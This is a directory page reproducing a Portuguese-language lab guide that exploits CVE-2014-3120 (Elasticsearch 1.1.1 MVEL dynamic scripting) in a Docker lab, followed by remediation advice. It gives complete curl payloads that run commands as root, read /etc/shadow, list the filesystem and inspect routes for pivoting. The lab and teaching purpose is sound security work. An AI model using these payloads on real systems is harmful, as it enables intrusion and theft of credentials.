Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2014-3120 — Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2014-3120
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

LAB 10-CVE-2014-3120

I. ANÁLISE DO SISTEMA

Identificando a Superfície de Ataque a partir do Ambiente Docker

Começando com o que está em execução no ambiente. Listamos todos os contêineres ativos:

root@kitploit:~
docker ps

image.png

Resultado: O contêiner p1/lab10:latest está em execução, expondo 2 portas externamente:

Mapeamento de portasProtocolo
0.0.0.0:9200 → 9200/tcpHTTP (precisa de verificação)
0.0.0.0:9300 → 9300/tcpDesconhecido

Observação inicial: As portas 9200 e 9300 são comumente conhecidas como as portas padrão do Elasticsearch. No entanto, não podemos concluir apenas com base nos números das portas - muitos outros serviços podem se vincular a qualquer porta.

⇒ Usamos curl diretamente em cada porta para verificar qual serviço está realmente em execução.

Testando a porta 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

Análise da resposta:

  • Resposta: curl: (52) Empty reply from server
  • Cabeçalho do Servidor: Nenhum - o servidor não retorna nenhuma resposta HTTP

Avaliação: O servidor aceitou a conexão TCP (sem recusa de conexão), mas não respondeu usando o protocolo HTTP. Isso corresponde ao comportamento do protocolo de transporte do Elasticsearch na porta 9300 - um protocolo binário usado para comunicação entre nós em um cluster, não HTTP.

⇒ Mentalidade: A Porta 9300 usa um protocolo binário → não pode ser explorada diretamente via curl/navegador. Mude para verificar a porta 9200 - a porta da API REST HTTP.


Testando a porta 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

Análise da resposta:

Avaliação da Superfície de Ataque:

  • Confirmado que é Elasticsearch 1.1.1 - o serviço retorna uma resposta JSON característica com detalhes completos da versão
  • Nenhuma autenticação necessária - a API REST responde diretamente sem exigir credenciais
  • Elasticsearch 1.1.1 (2014) está dentro do escopo de impacto de várias CVEs críticas, notavelmente CVE-2014-3120 - uma vulnerabilidade que permite execução arbitrária de código via Dynamic Scripting

image.png

⇒ Mentalidade: O Elasticsearch 1.1.1 habilita Dynamic Scripting por padrão - permitindo que clientes enviem scripts (expressões MVEL) em consultas de pesquisa para o servidor executar. Sem um sandbox ou validação adequada, um atacante pode injetar um script malicioso para executar comandos do sistema. Próximo passo: verificar se o Dynamic Scripting está realmente ativo no alvo.

Verificando o Dynamic Scripting e o Motor MVEL

O que é Dynamic Scripting?

O Elasticsearch suporta um recurso de Scripting - permitindo que clientes enviem scripts (expressões matemáticas ou lógicas) dentro de solicitações de pesquisa para o servidor executar ao processar resultados. No Elasticsearch 1.x, o motor padrão para esse recurso é MVEL (MVFLEX Expression Language).

Problema Central de Segurança

Nas versões do Elasticsearch anteriores à 1.2, o Dynamic Scripting está habilitado por padrão (script.disable_dynamic: false). Isso significa:

  1. A API REST não requer autenticação
  2. Os clientes podem enviar scripts arbitrários via o parâmetro script_fields na API _search
  3. O motor MVEL carece de um sandbox suficientemente forte - permitindo acesso ao runtime Java
  4. Atacantes podem invocar java.lang.Runtime.getRuntime().exec() para executar comandos do sistema

Como script_fields Funciona

Quando uma solicitação de pesquisa com script_fields é enviada, o Elasticsearch irá:

  1. Receber a solicitação JSON via a API _search
  2. Analisar o campo script_fields → encontrar o script a ser executado
  3. Avaliar o script usando o motor MVEL
  4. O motor MVEL tem acesso total ao runtime Java → pode invocar qualquer classe Java
  5. Retornar os resultados na resposta HTTP

Analisando o Vetor de Ataque: MVEL → Java Runtime → RCE

Em Java, a maneira mais comum de executar um comando de sistema é:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL, como uma linguagem de expressão com acesso total a classes Java, permite invocar isso diretamente:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explicando cada parte:

⇒ Mentalidade: Com o Elasticsearch, a saída do RCE é retornada diretamente na resposta — sem necessidade de redirecionar para um arquivo e lê-lo novamente. Isso torna o exploit mais limpo e rápido de verificar.

II. EXPLORAÇÃO

Confirmando que o Dynamic Scripting está Ativo

Após identificar o alvo como Elasticsearch 1.1.1, o próximo passo é verificar se o Dynamic Scripting está realmente habilitado.

CVE-2014-3120 explora o fato de que o Elasticsearch permite que clientes enviem scripts dentro de solicitações _search. Se o script for executado pelo servidor, um atacante pode substituir a expressão inofensiva por um payload que chama o Java Runtime para executar comandos do sistema.

Primeiro, criamos um documento de teste para garantir que a consulta tenha pelo menos um resultado correspondente. Se nenhum documento corresponder, script_fields não será avaliado.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Em seguida, atualizamos o índice:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Próximo passo, enviamos uma solicitação _search com script_fields contendo uma expressão MVEL inofensiva:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Enviamos o script "1+1" e o servidor retorna o resultado 2. Isso prova que o Elasticsearch não apenas recebe a solicitação _search, mas executa o script dinâmico no lado do servidor.

⇒ Dynamic Scripting está ativo no alvo.

Como o alvo é Elasticsearch 1.1.1, anterior à 1.2, isso corresponde aos requisitos de exploração da CVE-2014-3120: Elasticsearch anterior à versão 1.2 habilita Dynamic Scripting por padrão, permitindo que um atacante remoto execute expressões MVEL/código Java através de uma solicitação de pesquisa.

Identificando o Caminho para a Função de Execução de Comandos

Verificamos que script_fields é executado pelo Elasticsearch no lado do servidor através da expressão inofensiva "1+1" retornando [2].

Isso prova que o alvo não apenas permite pesquisas padrão, mas também permite que clientes enviem um script MVEL para o servidor avaliar durante o processamento de _search.

Com a CVE-2014-3120, o risco crítico reside no fato de que o MVEL no Elasticsearch 1.1.1 pode acessar classes Java. Portanto, em vez de enviar uma expressão matemática como "1+1", um atacante pode enviar um script chamando o Java Runtime:

Runtime.getRuntime().exec("command")

Esta é a API Java padrão usada para criar um novo processo e executar comandos no sistema operacional.

Cadeia de Ataque

root@kitploit:~
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

Construindo o Payload RCE e Execução

Payload RCE:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Detalhamento do Payload:

Resultado:

A resposta retorna o campo fields.exploit contendo a saída do comando id:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

Análise:

O payload invocou com sucesso Runtime.getRuntime().exec("id") através do script MVEL dentro de script_fields. O fato de a resposta retornar a saída do comando id prova que o comando foi executado no lado do servidor.

O resultado uid=0(root) gid=0(root) groups=0(root) indica que o processo Elasticsearch dentro do contêiner está sendo executado com privilégios root.

Determinando os Limites de Privilégio

Após confirmar o RCE, os privilégios reais devem ser verificados tentando ler arquivos sensíveis:

Lendo /etc/shadow:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Resultado Observado:

A resposta retorna o conteúdo do arquivo /etc/shadow:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

Análise:

O arquivo /etc/shadow é um arquivo sensível do sistema no Linux, que geralmente só é legível pelo usuário root ou por processos com privilégios equivalentes. No passo anterior, o comando id retornou:

uid=0(root) gid=0(root) groups=0(root)

Este passo confirma ainda mais isso pelo comportamento real: o payload RCE é capaz de ler com sucesso /etc/shadow.

⇒ O Elasticsearch dentro do contêiner está sendo executado com privilégios root.

⇒ O impacto não se limita à execução típica de comandos, mas é RCE com privilégios root dentro do contêiner.

Nota: O privilégio root aqui se refere a root dentro do contêiner Docker. Não podemos concluir que o atacante tem privilégios root no host sem evidências de que o contêiner está sendo executado como privilegiado, montando o socket Docker ou montando volumes sensíveis do host.

III. PÓS-EXPLORAÇÃO

Coletando Informações do Sistema

RCE está confirmado. Prosseguimos para coletar informações do sistema para avaliar o escopo.

Listando o sistema de arquivos raiz do contêiner

Após confirmar RCE com privilégios root, executamos o comando ls -la / através do payload MVEL para observar o sistema de arquivos dentro do alvo:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Resultado: A resposta retorna o conteúdo do diretório / no campo rootfs.

Análise:

O fato de a saída de ls -la / aparecer na resposta JSON prova que o comando foi executado no alvo via RCE. Arquivos como docker-entrypoint.sh, o diretório elasticsearch e o symlink docker-java-home indicam que o ambiente comprometido é um contêiner executando Elasticsearch.

⇒ O atacante pode listar o sistema de arquivos dentro do contêiner com privilégios root.

Verificando a rede — potencial de pivoting

Como o contêiner não possui o binário /sbin/ifconfig, lemos /proc/net/route diretamente. Este arquivo não requer utilitários externos e fornece a tabela de roteamento do contêiner.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Análise:

Os resultados mostram que o contêiner tem a interface eth0 e reside dentro da rede Docker 172.19.0.0/16. O gateway padrão é 172.19.0.1.

Isso prova que o contêiner tem conectividade de rede interna através da bridge Docker. Como o atacante já tem RCE com privilégios root dentro do contêiner, ele poderia teoricamente prosseguir para inspecionar outros hosts/serviços na mesma rede Docker se as políticas de rede permitirem.

No entanto, esta saída apenas prova visibilidade de rede no nível de roteamento, não um pivoting bem-sucedido. Concluir um pivoting requer evidências adicionais, como escanear com sucesso outro host, conectar-se a um serviço interno ou recuperar recursos de outra rede.

IV. AVALIAÇÃO DE RISCO E RECOMENDAÇÕES

Avaliação de Risco

Com base nas evidências coletadas durante a análise, o alvo está executando Elasticsearch 1.1.1 na porta 9200. Esta versão é anterior à 1.2, colocando-a dentro do escopo afetado da CVE-2014-3120.

A vulnerabilidade decorre do Elasticsearch habilitar Dynamic Scripting por padrão antes da versão 1.2, o que permite que clientes enviem scripts MVEL através de solicitações de pesquisa. Neste laboratório, este recurso foi confirmado funcional usando a expressão inofensiva "1+1", que retornou o resultado [2].

Posteriormente, o payload MVEL invocou:

root@kitploit:~
Runtime.getRuntime().exec("id")

A resposta retornou:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Isso prova que um atacante pode executar comandos do sistema através do Elasticsearch. Além disso, o payload leu com sucesso /etc/shadow, confirmando que o privilégio de execução é root dentro do contêiner.

Recomendações de Remediação

1. Atualizar o Elasticsearch para uma versão mais recente

Atualizar o Elasticsearch para a versão >= 1.2.0 (mínimo) ou idealmente para a versão atualmente suportada (8.x). A partir da versão 1.2, o Dynamic Scripting está desabilitado por padrão.

2. Desabilitar o Dynamic Scripting imediatamente (se a atualização não for viável)

Adicionar o seguinte ao elasticsearch.yml:

root@kitploit:~
script.disable_dynamic: true

Reiniciar o Elasticsearch após fazer esta alteração. Isso desabilita completamente a capacidade dos clientes de enviar scripts dentro de solicitações de pesquisa.

3. Não expor a API REST do Elasticsearch a redes não confiáveis

O Elasticsearch não possui autenticação padrão na versão 1.x. Se precisar ser exposto, coloque-o atrás de um proxy reverso com autenticação ou vincule apenas a 127.0.0.1.

Alta Prioridade

4. Habilitar autenticação e criptografia

Versões modernas do Elasticsearch (7.x+) suportam segurança integrada (autenticação, TLS). Se atualizado, habilite os recursos de segurança:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. Restringir o acesso usando um firewall

Permitir apenas IPs confiáveis acessar as portas 9200 e 9300. Não expor elas à internet ou a toda a rede interna.

6. Executar o Elasticsearch como um usuário de baixo privilégio

Não executar o Elasticsearch sob o usuário root. Criar um usuário dedicado elasticsearch com privilégios mínimos. Esta é uma prática recomendada oficial:

Baixar ferramenta
CampoValorSignificado
name"Rage"Nome do nó do Elasticsearch (nome de personagem aleatório da Marvel - comportamento padrão de versões antigas do ES)
version.number"1.1.1"Versão extremamente antiga - lançada em abril de 2014
build_timestamp"2014-04-16T14:27:12Z"Construída em 2014
lucene_version"4.7"Lucene 4.7 - mecanismo de indexação antigo
tagline"You Know, for Search"Frase de assinatura característica do Elasticsearch
ParteExplicação
import java.io.*Importa classes Java IO
Runtime.getRuntime()Obtém a instância do Java Runtime
.exec("id")Executa o comando shell id
.getInputStream()Obtém o fluxo de saída do processo
new Scanner(...).useDelimiter("\\A").next()Lê toda a saída como uma string
PartePropósito
"size": 1Limita o resultado a 1 documento
"query" → "match_all"Corresponde a todos os documentos (requer que pelo menos 1 documento exista no índice)
"script_fields" → "exploit"Define um campo computado executando o script MVEL
"script": "import java.io.*; ..."Expressão MVEL que executa o comando id e retorna a saída
CritérioAvaliaçãoDetalhes
CVECVE-2014-3120Elasticsearch Dynamic Scripting RCE
Serviço AfetadoElasticsearchAPI REST exposta na porta 9200
Versão1.1.1Anterior à 1.2, está dentro das versões afetadas
AutenticaçãoNão necessária no laboratórioAPI REST responde diretamente, sem credenciais exigidas
Condições de ExploraçãoDynamic Scripting habilitadoConfirmado pelo script "1+1" retornando [2]
Privilégios Obtidosroot no contêinerid retorna uid=0(root)
ImpactoMuito AltoRCE, leitura de arquivos sensíveis, listagem do sistema de arquivos, coleta de detalhes do usuário/rede
EscopoContêinerNenhuma evidência de comprometimento do host ainda
PivotingPotencial para verificação adicionalContêiner tem uma rota via eth0 na rede Docker 172.19.0.0/16